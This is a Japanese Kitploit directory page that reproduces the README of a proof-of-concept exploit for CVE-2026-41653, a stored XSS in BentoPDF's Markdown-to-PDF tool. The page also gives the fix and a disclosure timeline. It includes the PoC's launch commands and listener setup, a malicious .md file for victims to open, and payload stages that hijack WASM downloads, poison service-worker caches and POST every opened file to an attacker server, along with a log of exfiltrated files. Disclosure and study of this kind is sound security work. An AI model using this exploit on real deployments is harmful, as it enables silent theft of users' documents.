Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-41653 — CVE-2026-41653の概念実証エクスプロイト。BentoPDFにおける保存型XSSであり、サイレントなファイル外部送信とWASMサプライチェーン乗っ取りを可能にします。 | Kitploit
ツール/GitHubGitHub/astaruf/cve-2026-41653
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペイロード開発
GitHubastaruf/cve-2026-41653

CVE-2026-41653

CVE-2026-41653の概念実証エクスプロイト。BentoPDFにおける保存型XSSであり、サイレントなファイル外部送信とWASMサプライチェーン乗っ取りを可能にします。

リポジトリを見る
3ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-41653: BentoPDF ≤ 2.8.2 - 保存型XSS → ファイル窃取

発見・報告者: Astaruf

詳細レポート: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/

上流アドバイザリ: alam00000/bentopdf GHSA advisory

NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-41653


概要

BentoPDF は、セルフホスト型のブラウザサイドPDFツールボックスです(圧縮、結合、分割、回転、変換、Markdown-to-PDFなど)。

Markdown-to-PDF ツールは、ユーザーが提供したMarkdownを を指定した に通し、レンダリングされた出力をサニタイズなしで 経由で直接DOMに注入します。細工された ファイルを配信する攻撃者は、BentoPDFオリジン内で任意のJavaScriptを実行できます。

html: true
markdown-it
innerHTML
.md

BentoPDFは完全にクライアントサイドのアプリケーションであるため、すべてのツール(PDF圧縮、PDF結合、PDF分割など)はファイルを被害者のブラウザ上で直接読み込み・処理します。したがって、単一のXSSだけで、セッション中に被害者が任意のツールで開くすべてのドキュメントを静かに窃取できます。

root@kitploit:~
攻撃者が report.md( を含む)を送信
  -> 被害者が Markdown-to-PDF で開く
    -> markdown-it が生のHTMLをレンダリング(html: true)
      -> preview.innerHTML = html  (DOMPurifyなし)
        -> 攻撃者サーバーから poc_payload.js を読み込み(CSPなし)
          -> FileReader + <input type=file> をアプリ全体にフック
            -> 隠しポップアップがツール移動のたびにフックを再注入
              -> 被害者が開くすべてのファイルが静かに窃取される

影響

  • サイレントなファイル窃取。 セッション中に被害者が任意のBentoPDFツールで開くすべてのファイル(PDF、画像、ドキュメント)が攻撃者のサーバーにPOSTされます。
  • WASMサプライチェーンハイジャック。 ペイロードが localStorage['bentopdf:wasm-providers'] を上書きし、PyMuPDF、Ghostscript、cpdfのWASMモジュールのダウンロードを攻撃者が管理するホストにリダイレクトします。
  • クロスページ永続化。 隠し1×1ポップアップが window.opener をポーリングし、被害者が別のツールに移動するたびにファイルフックを再注入して、セッション全体を通じてアクセスを維持します。
  • Service Workerキャッシュポイズニング(HTTPSのみ)。 HTTPSデプロイメントでは、ペイロードがService Workerを登録し、bentopdf-* キャッシュを汚染して、現在のセッションを超えてブラウザに配信されるすべての /assets/*.js ファイルに窃取フックを追加します。

脆弱性の詳細

1. markdown-it における生のHTMLパススルー(CWE-79)

src/js/utils/markdown-editor.ts(271〜272行目):

root@kitploit:~
private mdOptions: MarkdownItOptions = {
  html: true,   // raw HTML tags pass through the markdown parser
  breaks: false,
  linkify: true,
  typographer: true,
};

``、<svg>、<details> などのタグや、任意のイベントハンドラ属性(onerror、onload、ontoggle)がそのままDOMに転送されます。

2. サニタイズされていない innerHTML 注入(CWE-116)

src/js/utils/markdown-editor.ts(689〜694行目):

root@kitploit:~
private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // attacker-controlled HTML injected into DOM
  this.renderMermaidDiagrams();
}

markdown-it と innerHTML の間にサニタイズライブラリは適用されていません。ブラウザは注入された文字列を解析し、インラインイベントハンドラに遭遇すると即座に実行します。

3. Content-Security-Policyなし

nginx.conf には Content-Security-Policy ヘッダーが含まれていません。注入されたJavaScriptは、外部スクリプトを自由に読み込み、任意のホストに fetch() リクエストを発行し、ポップアップウィンドウを開くことができます。制限的なCSPがあれば、シンクが存在していても外部スクリプト読み込み段階を防げたはずです。

概念実証

クイックスタート

root@kitploit:~
# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py will:
#   - generate poc_report.md payload in the current directory
#   - start listening for victim's callbacks and exfiltrated files

poc_report.md を被害者に送信し、BentoPDF → Markdown-to-PDF で開くよう依頼します。プレビューがレンダリングされた瞬間にペイロードが発火し、被害者が今後アップロードするすべてのファイルが攻撃者のサーバーに窃取されます。

オプション

オプションデフォルト説明
--lhost必須被害者のブラウザから到達可能なIP
--lport9999リッスンポート
--loot-dir./loot/窃取されたファイルが保存されるディレクトリ
--log-fileなしすべてのイベントをファイルに追記(ANSIコードは除去)
--no-colorオフターミナル出力のANSIカラーを無効化

デモ

1. --lhost と --lport を指定して攻撃者サーバーを起動。悪意のある poc_report.md が自動生成されます。

root@kitploit:~
$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
  PoC by Astaruf (https://nstsec.com)

========================================================================
  Exfiltration server:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Loot dir:  /home/kali/loot
========================================================================

  Malicious .md file ready: /home/kali/poc_report.md

  Send it to the victim and ask them to open it in Markdown-to-PDF tool.
  The payload fires as soon as the preview renders.

========================================================================

  Waiting for victims...

2. 被害者がBentoPDFでMarkdown-to-PDFツールを開きます。

Markdown-to-PDF tool

3. 被害者が poc_report.md を読み込みます。プレビューがレンダリングされ、`` の読み込みに失敗して onerror が発火します。poc_payload.js がCSPによるブロックなしで攻撃者サーバーから取得されます。

report.md rendered

4. ペイロードが4つのステージを実行します:localStorage経由のWASMプロバイダーハイジャック、ポップアップモニターの起動、現在のページへの FileReader とファイル入力フックのインストール。

Hooks installed and popup monitor

5. 被害者がPDF圧縮に移動します。ポップアップがナビゲーションを検出し、新しいページにフックを再注入します。

Victim on Compress PDF

6. 被害者がPDFを読み込みます。ツールは通常どおり圧縮します。ファイルのバイトはすでに攻撃者サーバーにPOSTされています。

Exfiltration in flight

7. 検証済み実行からの攻撃者サーバー出力:

root@kitploit:~
[17:11:11] WASM HIJACK     { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON          { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON          { page: '.../index.html' }
[17:12:00] BEACON          { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON          { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171358_Lorem_ipsum.pdf

Attacker server log

8. 窃取されたファイルは、元のファイルと同一の完全で有効なPDFとして開きます。

Exfiltrated PDF

ペイロードのステージ

poc.py に埋め込まれたペイロードは、4つのステージを順に実行します:

ステージ動作永続化の範囲
1localStorage['bentopdf:wasm-providers'] を上書きし、すべてのWASMモジュールのダウンロードを攻撃者にリダイレクトブラウザセッションをまたぐ
2/sw.js を登録し、すべてのツールページの /assets/*.js を列挙して、bentopdf-* Service Workerキャッシュを窃取フックで汚染ブラウザセッションを超える(HTTPSのみ)
3window.opener.location.href をポーリングする隠し1×1ポップアップを起動し、ツールナビゲーションのたびにファイルフックを再注入BentoPDFタブが開いている間
4FileReader.prototype.readAsArrayBuffer とドキュメントレベルの change リスナーをフック:被害者が触れるすべてのファイルが攻撃者サーバーの /file?name=<filename> にPOSTされる現在のページ

修正

BentoPDF v2.8.3 で提供されました。開発者は当初報告されたシンクを超えてコードベースを監査し、複数の関連ベクトルに対処しました:

  1. DOMPurify が markdown-editor.ts の3つの innerHTML シンクすべてに適用されました。これには、securityLevel: 'loose' を使用しており最初のサニタイザーをバイパスすることが判明したMermaid SVGパスも含まれます。
  2. Mermaid は現在 securityLevel: 'strict' で実行され、SVG出力はDOMPurifyのSVGプロファイルで再サニタイズされます。
  3. file.name XSS は、ファイル名がサニタイズなしでHTMLに連結されていた約8つのツールページ(Deskew、Form Filler、Remove Annotationsなど)でエスケープされました。
  4. WASMプロバイダー許可リスト が導入されました:localStorage['bentopdf:wasm-providers'] 内の信頼できないURLは読み込み時に破棄されます。
  5. Service Workerキャッシュ のバージョンが、整合性を認識する信頼済みホストリストとともに更新されました。
  6. 完全なセキュリティヘッダーセット が nginx.conf で強制され、Content-Security-Policy が含まれます。

当初報告されたシンクに対する最小限の修正:

root@kitploit:~
import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

nginx.conf に追加されたCSPヘッダー:

root@kitploit:~
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;

タイムライン

日付イベント
2026-04-02脆弱性を発見
2026-04-02メンテナーに非公開で報告
2026-04-17メンテナーが確認
2026-04-17edge ビルドに修正が適用され、再テスト
2026-04-18v2.8.3 が公開クレジット付きでリリース
2026-04-21GHSAアドバイザリ公開
2026-04-22CVE-2026-41653 割り当て

参考情報

  • BentoPDF公式リポジトリ
  • BentoPDF v2.8.3 リリースノート
  • CWE-79: Webページ生成時の入力の不適切な無害化
  • CWE-116: 出力の不適切なエンコーディングまたはエスケープ
  • html: true に関するmarkdown-itのセキュリティノート
  • DOMPurify
  • MDN: Content Security Policy

免責事項

この資料は、認可されたセキュリティテストおよび教育目的のみ を対象としています。所有している、または明示的な書面によるテスト許可を得ているBentoPDFインスタンスに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。

ライセンス

MIT

ツールをダウンロード